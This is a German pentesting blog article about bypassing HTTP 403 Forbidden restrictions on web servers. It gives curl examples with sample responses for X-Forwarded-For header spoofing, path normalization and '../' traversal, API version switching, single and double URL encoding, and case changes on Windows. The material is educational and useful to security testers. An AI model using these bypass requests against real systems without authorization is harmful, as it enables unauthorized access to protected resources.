Security

403 Fehler umgehen

403-Fehler sind oft mehr als nur eine Sackgasse. Mit den richtigen Techniken lassen sich diese umgehen.

Michael Meister

• 4 min read
403 Fehler umgehen
Photo by Markus Spiske / Unsplash

In diesem Artikel möchte ich kurz zeigen, wie man als Angreifer/Pentester mit 403-Fehlern umgehen kann. Dabei möchte ich aufzeigen, wie wichtig es ist, die zugrunde liegende Architektur zu verstehen und nicht nur auf vorgefertigte Payloads zu setzen.

403 Forbidden: Mehr als nur eine Sackgasse

Oftmals sehen Hacker einen 403-Fehler und ziehen weiter. Ich habe gelernt, dass sich hinter diesen Fehlern oft große Schwachstellen verbergen. Die Ursache liegt oft in der komplexen Struktur moderner Webanwendungen. Frontend-Teams, Backend-Teams und Gateways arbeiten oft unabhängig voneinander, was zu Fehlkonfigurationen und Sicherheitslücken führen kann. Viele Entwickler gehen davon aus, dass die Zugriffskontrolle einfach ist, aber in der Realität ist sie oft viel komplexer.

Techniken zur Umgehung von 403-Fehlern

Header-Manipulation

Eine der ersten Techniken, die ich nutze, ist die Manipulation von Headern. Bei meinen Tests habe ich festgestellt, dass ein Server auf die Herkunfts-IP-Adresse achtet. Durch das Hinzufügen eines X-Forwarded-For-Headers mit einer lokalen IP-Adresse wie 127.0.0.1 konnte ich die Zugriffskontrolle häufig umgehen. Es gibt viele andere Header, die man ausprobieren kann, und es ist wichtig, alle zu testen, um Anomalien zu finden.

Hier wird ein Header hinzugefügt, der vorgibt, dass die Anfrage von der lokalen IP-Adresse stammt:

curl -X GET "http://example.com/protected-endpoint" \
     -H "X-Forwarded-For: 127.0.0.1"
Mögliche Ausgabe:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 324
<html>
<body>
<h1>Willkommen im geschützten Bereich</h1>
</body>
</html>

Falls der Server die Anfrage akzeptiert, wird der geschützte Bereich angezeigt.

Pfadnormalisierung

Eine weitere wichtige Technik ist die Pfadnormalisierung. Ich habe festgestellt, dass Webserver Pfade unterschiedlich interpretieren können. Durch das Hinzufügen von ./ vor dem Pfad konnte ich eine Einschränkung umgehen, die auf einem einfachen String-Vergleich basierte. Eine andere, sehr primitive Möglichkeit, ist die Verwendung von Pfadtraversierung mit ../, um auf andere Verzeichnisse zuzugreifen. Es ist wichtig, diese Techniken mit curl oder einem Web-Proxy-Tool zu testen, da Browser diese Pfade wieder normalisieren können.

Konsolen-Beispiel 1: Einfügen von ./

Ein einfaches Beispiel ist das Hinzufügen von ./ vor einem geschützten Pfad:

curl -X GET "http://example.com/./protected-endpoint"

Mögliche Ausgabe:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 432
<html>
<body>
<h1>Zugriff gewährt</h1>
<p>Die Pfadnormalisierung hat funktioniert.</p>
</body>
</html>
Konsolen-Beispiel 2: Verwendung von Pfadtraversierung

Mit ../ kann oft auf übergeordnete Verzeichnisse zugegriffen werden. Beispiel:

curl -X GET "http://example.com/../../protected-endpoint"

Mögliche Ausgabe:

HTTP/1.1 403 Forbidden

Falls der Server jedoch unsicher konfiguriert ist:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 512
<html>
<body>
<h1>Zugriff auf geschützte Inhalte</h1>
<p>Pfadtraversierung war erfolgreich.</p>
</body>
</html>
Konsolen-Beispiel 3: Kombination von Normalisierung und Traversierung

Kombiniert man Pfadnormalisierung und Traversierung, kann man tiefergehende Ergebnisse erzielen:

curl -X GET "http://example.com/./../protected-endpoint"

Mögliche Ausgabe:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 342
<html>
<body>
<h1>Geschützter Bereich durch Kombination zugänglich</h1>
</body>
</html>

Pfadnormalisierung erfordert Kreativität und ein gutes Verständnis für die Funktionsweise von Webservern. Browser normalisieren oft automatisch Pfade, daher ist es wichtig, Tools wie curl oder spezielle Proxy-Tools zu verwenden.

API-Versionierung

Bei der Arbeit mit APIs habe ich oft festgestellt, dass 403-Fehler bei bestimmten Versionen auftreten. Durch das Ausprobieren verschiedener API-Versionen, wie v1, v1.1 oder v.1, konnte ich manchmal auf ältere, anfälligere Endpunkte zugreifen. Ich habe auch Webarchive und GitHub durchsucht, um ältere Versionen von APIs zu finden.

Konsolen-Beispiel 1: Testen verschiedener API-Versionen

Hier werden verschiedene API-Versionen ausprobiert, um möglicherweise auf ältere und weniger geschützte Endpunkte zuzugreifen:

curl -X GET "http://example.com/api/v1/protected-endpoint"
Mögliche Ausgabe:
HTTP/1.1 403 Forbidden

Jetzt wird eine alternative Version getestet:

curl -X GET "http://example.com/api/v1.1/protected-endpoint"
Mögliche Ausgabe:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
{
    "message": "Zugriff gewährt",
    "data": {
        "id": 123,
        "content": "Geschützter Inhalt"
    }
}

URL-Encoding

Eine meiner Lieblingstechniken ist das URL-Encoding. Ich habe festgestellt, dass das Codieren bestimmter Teile der URL, insbesondere von versteckten Endpunkten, oft zu einem Bypass führen kann. Ich habe verschiedene Codierungsmethoden ausprobiert, einschließlich einfacher und doppelter Codierung. In meinem Beispiel konnte ich durch doppelte URL-Codierung des letzten Buchstabens eines Pfades auf einen versteckten Endpunkt zugreifen.

Konsolen-Beispiel 1: Einfaches URL-Encoding

Hier wird ein geschützter Endpunkt aufgerufen, wobei ein Teil des Pfads codiert wird:

curl -X GET "http://example.com/%70rotected-endpoint"

Erläuterung: Der Buchstabe p wird durch %70 ersetzt, was sein ASCII-Wert ist.

Mögliche Ausgabe:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 312
<html>
<body>
<h1>Zugriff erfolgreich</h1>
<p>Durch URL-Encoding wurde der Zugriff gewährt.</p>
</body>
</html>
Konsolen-Beispiel 2: Doppelte URL-Codierung

Manchmal kann eine doppelte Codierung nötig sein, um strengere Filter zu umgehen. Beispiel:

curl -X GET "http://example.com/%2570rotected-endpoint"

Erläuterung: %70 wird erneut codiert zu %2570.

Mögliche Ausgabe:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 324
<html>
<body>
<h1>Erfolgreicher Zugriff</h1>
<p>Doppelte Codierung hat den Serverfilter umgangen.</p>
</body>
</html>

Kombination von Techniken

Oftmals ist die Lösung nicht eine einzelne Technik, sondern eine Kombination aus mehreren. Ich habe festgestellt, dass die Kombination von Pfadnormalisierung, Pfadtraversierung und URL-Encoding oft zu den interessantesten Ergebnissen führt. Es ist wichtig, kreativ zu sein und verschiedene Kombinationen auszuprobieren.

Groß- Kleinschreibung auf Windows-Servern

Bei einem Pentest auf einem Windows-Server habe ich festgestellt, dass die Pfade nicht case-sensitiv sind. Durch das Ändern der Groß- und Kleinschreibung in einem Pfad konnte ich eine Filterung umgehen. Dies ist ein wichtiger Punkt, den man bei der Arbeit mit Windows-Servern beachten sollte.

curl -X GET "http://example.com/PROTECTED%2Dendpoint"

Fazit

Man kann mit verschiedenen, verwundbaren Webcontainern experimentieren. Die Umgehung von 403-Fehlern erfordert jedoch durchaus ein tiefes Verständnis der zugrunde liegenden Architektur und der verschiedenen Techniken, die man anwenden kann. Durch die Kombination von Header-Manipulation, Pfadnormalisierung, API-Versionierung, URL-Encoding und dem Verständnis von Fallunterscheidung kann man oft auf versteckte Schwachstellen stoßen. Es ist wichtig, kreativ zu sein und verschiedene Ansätze auszuprobieren, um erfolgreich zu sein.